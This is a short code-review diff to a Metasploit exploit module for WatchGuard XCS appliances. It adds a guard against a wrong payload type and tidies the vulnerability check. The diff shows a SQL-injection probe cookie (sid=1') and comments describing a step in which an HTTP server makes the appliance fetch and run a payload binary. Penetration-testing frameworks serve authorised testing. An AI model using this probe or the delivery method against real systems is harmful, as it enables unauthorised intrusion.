Warn about incorrect payload

Author: jvazquez-r7

modules/exploits/freebsd/http/watchguard_cmd_exec.rb

@@ -31,7 +31,7 @@ def initialize(info = {})
       'License'        => MSF_LICENSE,
       'References'     =>
         [
-          ['URL','http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']
+          ['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']
         ],
       'Platform'       => 'bsd',
       'Arch'           => ARCH_X86_64,
@@ -68,7 +68,7 @@ def check
       'cookie' => "sid=1'"
      })
 
-     if res and res.body =~ /unterminated quoted string/
+     if res && res.body && res.body.include?('unterminated quoted string')
        return Exploit::CheckCode::Vulnerable
      end
 
@@ -89,9 +89,13 @@ def exploit
     #We have cmd exec, stand up an HTTP server and deliver the payload
     vprint_status('Getting ready to drop binary on appliance')
 
+    @elf_sent = false
     #Generate payload
     @pl = generate_payload_exe
-    @elf_sent = false
+
+    if @pl.nil?
+      fail_with(Failure::BadConfig, 'Please select a native bsd payload')
+    end
 
     #Start the server and use primer to trigger fetching and running of the payload
     begin